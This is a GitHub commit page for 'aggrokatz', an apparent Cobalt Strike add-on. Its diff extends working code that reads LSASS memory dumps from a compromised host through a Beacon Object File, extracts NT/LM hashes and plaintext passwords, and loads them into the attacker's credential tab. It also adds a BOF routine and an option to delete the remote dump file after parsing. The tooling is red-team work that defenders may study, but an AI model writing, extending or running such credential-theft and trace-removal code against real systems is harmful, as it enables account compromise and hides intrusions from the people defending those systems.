Skip to content

Commit

Permalink
new features, BOF updated
Browse files Browse the repository at this point in the history
  • Loading branch information
skelsec committed Mar 29, 2021
1 parent 12899aa commit e83f911
Show file tree
Hide file tree
Showing 4 changed files with 93 additions and 8 deletions.
20 changes: 19 additions & 1 deletion aggrokatz.cna
Original file line number Diff line number Diff line change
Expand Up @@ -14,10 +14,28 @@ sub rfs {
$args = bof_pack($1, "Ziii", $3, $4, $5, $6);

# announce what we're doing
btask($1, "Reading file...");
btask($1, "Reading file..." . $3);

# execute it.
beacon_inline_execute($1, $data, "go", $args);
}

sub fdelete {
local('$handle $data $args');

# read in the right BOF file
$handle = openf($2);
$data = readb($handle, -1);
closef($handle);

# pack our arguments
$args = bof_pack($1, "Zi", $3, $4);

# announce what we're doing
btask($1, "Deleting file..." . $3);

# execute it.
beacon_inline_execute($1, $data, "delete", $args);
}

python(script_resource('aggrokatz.py'));
52 changes: 50 additions & 2 deletions aggrokatz.py
Original file line number Diff line number Diff line change
Expand Up @@ -168,7 +168,21 @@ def seek(self, n, whence = 0):
def beacon_top_callback(bids):
engine.debug('')

def parse_lsass(bid, filepath, boffilepath, chunksize, packages = ['all'], outputs = ['text']):
def pwconv(x):
if x is None:
return x
if len(x) == 0 or x is None:
return None
if isinstance(x, str) and x == '' or x.lower() == 'none':
return None
if isinstance(x, bytes):
return x.hex()

return x

def parse_lsass(bid, filepath, boffilepath, chunksize, packages = ['all'], outputs = ['text'], to_delete = False, add_creds = True):


engine.message('parse_lsass invoked')
engine.message('bid %s' % bid)
engine.message('filepath %s' % filepath)
Expand All @@ -194,6 +208,30 @@ def parse_lsass(bid, filepath, boffilepath, chunksize, packages = ['all'], outpu
if 'grep' in outputs:
engine.message(mimi.to_grep())
aggressor.blog(bid, mimi.to_grep())

if to_delete is True:
engine.call('fdelete', [bid, boffilepath, filepath, 1])

if add_creds is True:
host = str(bid)
for luid in mimi.logon_sessions:
res = mimi.logon_sessions[luid].to_dict()
for msv in res['msv_creds']:
engine.message(repr(msv))
if pwconv(msv['NThash']) is not None:
source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ('msv', 'NT', filepath)
aggressor.credential_add(str(msv['username']), pwconv(msv['NThash']), str(msv['domainname']), source, host)
if pwconv(msv['LMHash']) is not None:
source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ('msv', 'LM',filepath)
aggressor.credential_add(str(msv['username']), pwconv(msv['LMHash']), str(msv['domainname']), source, host)

for pkgt in ['wdigest_creds','ssp_creds','livessp_creds','kerberos_creds','credman_creds','tspkg_creds']:
for pkg in res[pkgt]:
if pwconv(pkg['password']) is not None:
source = '[AGGROKATZ][%s] LSASS dump %s' % (pkgt, filepath)
aggressor.credential_add(str(pkg['username']), pwconv(pkg['password']), str(pkg['domainname']), source, host)



def parse_registry(bid, boffilepath, system_filepath, sam_filepath = None, security_filepath = None, software_filepath = None, chunksize = 10240, outputs = ['text']):
engine.message('parse_registry invoked')
Expand Down Expand Up @@ -268,7 +306,13 @@ def dialog_callback_lsass(dialog, button_name, values_dict):
aggressor.show_error("No output format(s) selected! LSASS parsing will not start!")
return

parse_lsass(bid, filepath, boffilepath, chunksize, packages = packages, outputs = outputs)
to_delete = True if values_dict['delete'] == 'true' else False
add_creds = True if values_dict['credadd'] == 'true' else False

engine.message('to_delete %s' % repr(to_delete))
engine.message('add_creds %s' % repr(add_creds))

parse_lsass(bid, filepath, boffilepath, chunksize, packages = packages, outputs = outputs, to_delete = to_delete, add_creds = add_creds)



Expand Down Expand Up @@ -322,6 +366,8 @@ def render_dialog_pypykatz_lsass(bid):
'json' : "false",
'text' : "false",
'grep' : "true",
'credadd' : "true",
'delete' : "false",
'bid' : bid,
}

Expand All @@ -341,6 +387,8 @@ def render_dialog_pypykatz_lsass(bid):
aggressor.drow_checkbox(dialog, "json", "Output to json", "")
aggressor.drow_checkbox(dialog, "text", "Output to text", "")
aggressor.drow_checkbox(dialog, "grep", "Output to grep", "")
aggressor.drow_checkbox(dialog, "credadd", "Populate the Credential tab (not really precise)", "")
aggressor.drow_checkbox(dialog, "delete", "Delete remote file after parsing", "")
aggressor.dbutton_action(dialog, "START")
aggressor.dialog_show(dialog)

Expand Down
29 changes: 24 additions & 5 deletions bof/fileread.c
100755 → 100644
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#include <windows.h>
#include "beacon.h"


DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
Expand All @@ -9,6 +12,22 @@ DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE, LONG, PLONG, DWORD)
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptBinaryToStringA(LPVOID, DWORD, DWORD, LPSTR, LPDWORD);

void delete(char * args, unsigned long alen) {
datap parser;
BeaconDataParse(&parser, args, alen);

wchar_t* fileName = (wchar_t*)BeaconDataExtract(&parser, NULL);
DWORD rplyid = BeaconDataInt(&parser);

if( FALSE == KERNEL32$DeleteFileW(fileName)){
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] DELETE! Err: %d\n", rplyid, KERNEL32$GetLastError());
return;
}

BeaconPrintf(CALLBACK_OUTPUT, "[OK][%d] DELETE", rplyid);

}

void go(char * args, unsigned long alen) {
datap parser;
BeaconDataParse(&parser, args, alen);
Expand All @@ -28,26 +47,26 @@ void go(char * args, unsigned long alen) {

hFile = KERNEL32$CreateFileW(fileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile == INVALID_HANDLE_VALUE){
BeaconPrintf(CALLBACK_OUTPUT, "[FAIL][%d] OPEN FILE\n", rplyid);
BeaconPrintf(CALLBACK_OUTPUT, "[FAIL][%d] OPEN FILE! Err: %d\n", rplyid, KERNEL32$GetLastError());
return;
}
BeaconPrintf(CALLBACK_OUTPUT,"[INFO][%d] OPEN OK!\n");

if( INVALID_SET_FILE_POINTER == KERNEL32$SetFilePointer(hFile, seekSize, &seekResSize, 0)) {
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] SEEK\n", rplyid);
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] SEEK! Err: %d\n", rplyid, KERNEL32$GetLastError());
KERNEL32$CloseHandle(hFile);
return;
}

LPVOID ReadBuffer = KERNEL32$VirtualAlloc(NULL, buffsize, MEM_COMMIT, PAGE_READWRITE);
if(NULL == ReadBuffer){
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] ALLOC\n", rplyid);
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] ALLOC! Err: %d\n", rplyid, KERNEL32$GetLastError());
return;
}


if( FALSE == KERNEL32$ReadFile(hFile, ReadBuffer, buffsize, &readSize, NULL) ){
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] READ\n", rplyid);
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] READ! Err: %d\n", rplyid, KERNEL32$GetLastError());
KERNEL32$CloseHandle(hFile);
KERNEL32$VirtualFree(ReadBuffer, 0, MEM_RELEASE);
return;
Expand All @@ -61,7 +80,7 @@ void go(char * args, unsigned long alen) {
DWORD convBuffSize = (readSize*2) + 1;
LPVOID ReadBufferHex = KERNEL32$VirtualAlloc(NULL, convBuffSize, MEM_COMMIT, PAGE_READWRITE);
if( FALSE == CRYPT32$CryptBinaryToStringA(ReadBuffer, readSize, CRYPT_STRING_BASE64, ReadBufferHex, &convBuffSize)){
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] ENCODE\n", rplyid);
BeaconPrintf(CALLBACK_OUTPUT,"[FAIL][%d] ENCODE! Err: %d\n", rplyid, KERNEL32$GetLastError());
KERNEL32$VirtualFree(ReadBuffer, 0, MEM_RELEASE);
return;
}
Expand Down
Binary file modified bof/fileread_x64.o
100755 → 100644
Binary file not shown.

0 comments on commit e83f911

Please sign in to comment.